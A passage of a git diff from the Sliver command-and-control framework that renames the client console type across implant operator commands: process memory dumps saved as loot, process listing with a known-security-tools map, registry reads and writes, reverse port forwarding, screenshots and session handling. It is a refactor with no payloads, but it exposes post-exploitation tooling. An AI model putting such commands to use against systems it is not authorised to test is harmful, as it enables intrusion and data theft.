*console.SliverConsoleClient) { +func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverClient) { if runAs.Response != nil && runAs.Response.GetErr() != "" { con.PrintErrorf("%s\n", runAs.Response.GetErr()) return diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go index 9fab3d63c5..b473d89648 100644 --- a/client/command/processes/commands.go +++ b/client/command/processes/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { psCmd := &cobra.Command{ Use: consts.PsStr, Short: "List remote processes", diff --git a/client/command/processes/procdump.go b/client/command/processes/procdump.go index 904de72bab..bd3f59d75e 100644 --- a/client/command/processes/procdump.go +++ b/client/command/processes/procdump.go @@ -36,7 +36,7 @@ import ( ) // ProcdumpCmd - Dump the memory of a remote process -func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -107,7 +107,7 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintProcessDump - Handle the results of a process dump -func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) { +func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverClient) { var err error var saveToFile *os.File if saveTo == "" { @@ -139,7 +139,7 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string { return "" } -func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) { +func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverClient) { timeNow := time.Now().UTC() dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405")) diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index 73d7da514b..dbea16aa30 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -89,7 +89,7 @@ var knownSecurityTools = map[string][]string{ } // PsCmd - List processes on the remote system -func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -137,7 +137,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { } // PrintPS - Prints the process list -func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) { pidFilter, _ := flags.GetInt("pid") exeFilter, _ := flags.GetString("exe") ownerFilter, _ := flags.GetString("owner") @@ -212,7 +212,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string { } // procRow - Stylizes the process information -func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row { +func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row { session, beacon := con.ActiveTarget.GetInteractive() color := console.Normal @@ -287,7 +287,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console } // GetPIDByName - Get a PID by name from the active session -func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverConsoleClient) int { +func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverClient) int { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) diff --git a/client/command/processes/terminate.go b/client/command/processes/terminate.go index b00f35f804..f7b91d9983 100644 --- a/client/command/processes/terminate.go +++ b/client/command/processes/terminate.go @@ -31,7 +31,7 @@ import ( ) // TerminateCmd - Terminate a process on the remote system -func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { con.PrintErrorf("No active session or beacon\n") @@ -72,7 +72,7 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } // PrintTerminate - Print the results of the terminate command -func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) { +func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverClient) { if terminated.Response != nil && terminated.Response.GetErr() != "" { con.PrintErrorf("%s\n", terminated.Response.GetErr()) } else { diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go index 5c8d215a30..56a05f88e4 100644 --- a/client/command/reaction/commands.go +++ b/client/command/reaction/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { reactionCmd := &cobra.Command{ Use: consts.ReactionStr, Short: "Manage automatic reactions to events", diff --git a/client/command/reaction/helpers.go b/client/command/reaction/helpers.go index 0e7d22b247..41b264fc37 100644 --- a/client/command/reaction/helpers.go +++ b/client/command/reaction/helpers.go @@ -86,7 +86,7 @@ func isReactable(reaction core.Reaction) bool { } // ReactionIDCompleter completes saved/available reaction IDs -func ReactionIDCompleter(_ *console.SliverConsoleClient) carapace.Action { +func ReactionIDCompleter(_ *console.SliverClient) carapace.Action { results := make([]string, 0) for _, reaction := range core.Reactions.All() { diff --git a/client/command/reaction/reaction.go b/client/command/reaction/reaction.go index 2cd3cf0fa7..9e41468e24 100644 --- a/client/command/reaction/reaction.go +++ b/client/command/reaction/reaction.go @@ -32,7 +32,7 @@ import ( ) // ReactionCmd - Manage reactions to events -func ReactionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { totalReactions := 0 for _, eventType := range core.ReactableEvents { reactions := core.Reactions.On(eventType) @@ -49,7 +49,7 @@ func ReactionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) { +func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType))) diff --git a/client/command/reaction/reload.go b/client/command/reaction/reload.go index 37444ff854..fb34a6271e 100644 --- a/client/command/reaction/reload.go +++ b/client/command/reaction/reload.go @@ -28,7 +28,7 @@ import ( ) // ReactionSaveCmd - Manage reactions to events -func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) { con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath()) return diff --git a/client/command/reaction/save.go b/client/command/reaction/save.go index b98687bc8f..c4d796390f 100644 --- a/client/command/reaction/save.go +++ b/client/command/reaction/save.go @@ -30,7 +30,7 @@ import ( ) // ReactionSaveCmd - Manage reactions to events -func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionPath := GetReactionFilePath() if _, err := os.Stat(reactionPath); !os.IsNotExist(err) { confirm := false diff --git a/client/command/reaction/set.go b/client/command/reaction/set.go index eb104615ce..05c286f396 100644 --- a/client/command/reaction/set.go +++ b/client/command/reaction/set.go @@ -33,7 +33,7 @@ import ( var ErrNonReactableEvent = errors.New("non-reactable event type") // ReactionSetCmd - Set a reaction upon an event -func ReactionSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ReactionSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { eventType, err := getEventType(cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -63,7 +63,7 @@ func ReactionSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ con.PrintInfof("Set reaction to %s (id: %d)\n", eventType, reaction.ID) } -func getEventType(cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func getEventType(cmd *cobra.Command, con *console.SliverClient) (string, error) { rawEventType, _ := cmd.Flags().GetString("event") if rawEventType == "" { return selectEventType(con) @@ -77,7 +77,7 @@ func getEventType(cmd *cobra.Command, con *console.SliverConsoleClient) (string, } } -func selectEventType(con *console.SliverConsoleClient) (string, error) { +func selectEventType(con *console.SliverClient) (string, error) { prompt := &survey.Select{ Message: "Select an event:", Options: core.ReactableEvents, diff --git a/client/command/reaction/unset.go b/client/command/reaction/unset.go index 7ffe541060..7b785478d1 100644 --- a/client/command/reaction/unset.go +++ b/client/command/reaction/unset.go @@ -33,7 +33,7 @@ import ( ) // ReactionUnsetCmd - Unset a reaction upon an event -func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionID, _ := cmd.Flags().GetInt("id") if reactionID == 0 { reaction, err := selectReaction(con) @@ -53,7 +53,7 @@ func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.Println() } -func selectReaction(con *console.SliverConsoleClient) (*core.Reaction, error) { +func selectReaction(con *console.SliverClient) (*core.Reaction, error) { outputBuf := bytes.NewBufferString("") table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) allReactions := core.Reactions.All() diff --git a/client/command/reconfig/commands.go b/client/command/reconfig/commands.go index 5e52838177..5022c9acf3 100644 --- a/client/command/reconfig/commands.go +++ b/client/command/reconfig/commands.go @@ -11,7 +11,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { reconfigCmd := &cobra.Command{ Use: consts.ReconfigStr, Short: "Reconfigure the active beacon/session", diff --git a/client/command/reconfig/reconfig.go b/client/command/reconfig/reconfig.go index 2800d345f4..fce35800d2 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/reconfig/reconfig.go @@ -32,7 +32,7 @@ import ( ) // ReconfigCmd - Reconfigure metadata about a sessions -func ReconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return diff --git a/client/command/reconfig/rename.go b/client/command/reconfig/rename.go index 7866036a50..d4012281dc 100644 --- a/client/command/reconfig/rename.go +++ b/client/command/reconfig/rename.go @@ -29,7 +29,7 @@ import ( ) // RecnameCmd - Reconfigure metadata about a sessions -func RenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go index 228cf37e40..fec21cf040 100644 --- a/client/command/registry/commands.go +++ b/client/command/registry/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { registryCmd := &cobra.Command{ Use: consts.RegistryStr, Short: "Windows registry operations", diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index 275b2eed09..1791e8c018 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -32,7 +32,7 @@ import ( ) // RegCreateKeyCmd - Create a new Windows registry key -func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -98,7 +98,7 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintCreateKey - Print the results of the create key command -func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) { +func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverClient) { if createKey.Response != nil && createKey.Response.Err != "" { con.PrintErrorf("%s", createKey.Response.Err) return diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index 7f846433db..80f80c484c 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -32,7 +32,7 @@ import ( ) // RegDeleteKeyCmd - Remove a Windows registry key -func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -98,7 +98,7 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintDeleteKey - Print the results of the delete key command -func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) { +func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverClient) { if deleteKey.Response != nil && deleteKey.Response.Err != "" { con.PrintErrorf("%s", deleteKey.Response.Err) return diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index a25c00f29f..3bafb2a571 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -31,7 +31,7 @@ import ( ) // RegListSubKeysCmd - List sub registry keys -func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -73,7 +73,7 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } // PrintListSubKeys - Print the list sub keys command result -func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverConsoleClient) { +func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) return @@ -87,7 +87,7 @@ func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath } // RegListValuesCmd - List registry values -func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -124,7 +124,7 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintListValues - Print the registry list values -func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverConsoleClient) { +func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) return diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index 62df3b7117..3109b32e8c 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -75,7 +75,7 @@ func getType(t string) (uint32, error) { } // RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version" -func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( finalPath string key string @@ -146,7 +146,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } // PrintRegRead - Print the results of the registry read command -func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverConsoleClient) { +func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) { if regRead.Response != nil && regRead.Response.Err != "" { con.PrintErrorf("%s\n", regRead.Response.Err) return diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index e477b5682e..542f258544 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -35,7 +35,7 @@ import ( ) // RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32 -func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -160,7 +160,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintRegWrite - Print the registry write operation -func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverConsoleClient) { +func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverClient) { if regWrite.Response != nil && regWrite.Response.Err != "" { con.PrintErrorf("%s", regWrite.Response.Err) return diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go index d2b35b6eb7..67c8ed193d 100644 --- a/client/command/rportfwd/commands.go +++ b/client/command/rportfwd/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { rportfwdCmd := &cobra.Command{ Use: consts.RportfwdStr, Short: "reverse port forwardings", diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 55d8b00119..40e3ec0554 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -32,7 +32,7 @@ import ( var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") // StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -66,7 +66,7 @@ func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClie printStartedRportFwdListener(rportfwdListener, con) } -func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) { +func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" { con.PrintErrorf("%s", rportfwdListener.Response.Err) return diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index 0d10f9b706..f86857777e 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -28,7 +28,7 @@ import ( ) // StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -46,7 +46,7 @@ func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClien printStoppedRportFwdListener(rportfwdListener, con) } -func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) { +func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" { con.PrintErrorf("%s", rportfwdListener.Response.Err) return diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 0afcdc7605..9090fc3ae1 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -34,7 +34,7 @@ import ( ) // StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -50,7 +50,7 @@ func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, PrintRportFwdListeners(rportfwdListeners, cmd.Flags(), con) } -func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags *pflag.FlagSet, con *console.SliverClient) { if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" { con.PrintErrorf("%s\n", rportfwdListeners.Response.Err) return @@ -79,7 +79,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags } // PortfwdIDCompleter completes IDs of remote portforwarders -func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/screenshot/commands.go b/client/command/screenshot/commands.go index 85758509ae..e5c1fbac99 100644 --- a/client/command/screenshot/commands.go +++ b/client/command/screenshot/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { screenshotCmd := &cobra.Command{ Use: consts.ScreenshotStr, Short: "Take a screenshot", diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index f15a884a41..39311d21fb 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -38,7 +38,7 @@ import ( ) // ScreenshotCmd - Take a screenshot of the remote system -func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -99,7 +99,7 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } // PrintScreenshot - Handle the screenshot command response -func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverClient) { timestamp := time.Now().Format("20060102150405") saveTo, _ := cmd.Flags().GetString("save") @@ -130,7 +130,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n))) } -func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) { +func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverClient) { timeNow := time.Now().UTC() screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405")) diff --git a/client/command/server.go b/client/command/server.go index aca2735397..593b9e9ec4 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -21,9 +21,6 @@ package command import ( "os" - "github.com/reeflective/console" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" "github.com/bishopfox/sliver/client/command/beacons" @@ -51,11 +48,13 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console" + "github.com/spf13/cobra" ) // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.Command) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds func() *cobra.Command) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ Short: "Server commands", @@ -65,8 +64,8 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. } if serverCmds != nil { - server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) - server.AddCommand(serverCmds()...) + server.AddGroup(&cobra.Group{ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}) + server.AddCommand(serverCmds()) } // [ Bind commands ] -------------------------------------------------------- diff --git a/client/command/sessions/background.go b/client/command/sessions/background.go index a0e2b49c3b..e60c6a0caf 100644 --- a/client/command/sessions/background.go +++ b/client/command/sessions/background.go @@ -7,7 +7,7 @@ import ( ) // BackgroundCmd - Background the active session -func BackgroundCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func BackgroundCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.ActiveTarget.Background() con.PrintInfof("Background ...\n") } diff --git a/client/command/sessions/close.go b/client/command/sessions/close.go index e630276989..13e5cb68cb 100644 --- a/client/command/sessions/close.go +++ b/client/command/sessions/close.go @@ -28,7 +28,7 @@ import ( ) // CloseSessionCmd - Close an interactive session but do not kill the remote process -func CloseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Get the active session session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index 65e4de8966..7993731183 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -17,7 +17,7 @@ import ( ) // Commands returns the `sessions` command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { sessionsCmd := &cobra.Command{ Use: consts.SessionsStr, Short: "Session management", @@ -62,7 +62,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { } // SessionIDCompleter completes session IDs -func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func SessionIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) @@ -85,7 +85,7 @@ func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { } // SliverCommands returns all session control commands for the active target. -func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { +func SliverCommands(con *console.SliverClient) []*cobra.Command { backgroundCmd := &cobra.Command{ Use: consts.BackgroundStr, Short: "Background an active session", diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index 0946336fe3..a1b6d6780e 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -42,7 +42,7 @@ var ( ) // SelectSession - Interactive menu for the user to select an session, optionally only display live sessions -func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.Session, error) { +func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { return nil, err diff --git a/client/command/sessions/interactive.go b/client/command/sessions/interactive.go index 7ba31e90e7..151ebaf55f 100644 --- a/client/command/sessions/interactive.go +++ b/client/command/sessions/interactive.go @@ -32,7 +32,7 @@ import ( ) // InteractiveCmd - Beacon only command to open an interactive session -func InteractiveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, _ []string) { +func InteractiveCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return diff --git a/client/command/sessions/prune.go b/client/command/sessions/prune.go index fdab122411..eaa5010ec0 100644 --- a/client/command/sessions/prune.go +++ b/client/command/sessions/prune.go @@ -29,7 +29,7 @@ import ( ) // SessionsPruneCmd - Forcefully kill stale sessions -func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index c17ecf6c31..5b8bbcda0e 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -37,7 +37,7 @@ import ( ) // SessionsCmd - Display/interact with sessions -func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { interact, _ := cmd.Flags().GetString("interact") killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -127,7 +127,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintSessions - Print the current sessions -func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) { +func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { width = 999 diff --git a/client/command/settings/beacons.go b/client/command/settings/beacons.go index 61cd88f51a..6aafeaabab 100644 --- a/client/command/settings/beacons.go +++ b/client/command/settings/beacons.go @@ -26,7 +26,7 @@ import ( ) // SettingsBeaconsAutoResultCmd - The client settings command -func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() diff --git a/client/command/settings/commands.go b/client/command/settings/commands.go index c82e20bd38..f312a6ed84 100644 --- a/client/command/settings/commands.go +++ b/client/command/settings/commands.go @@ -10,7 +10,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) 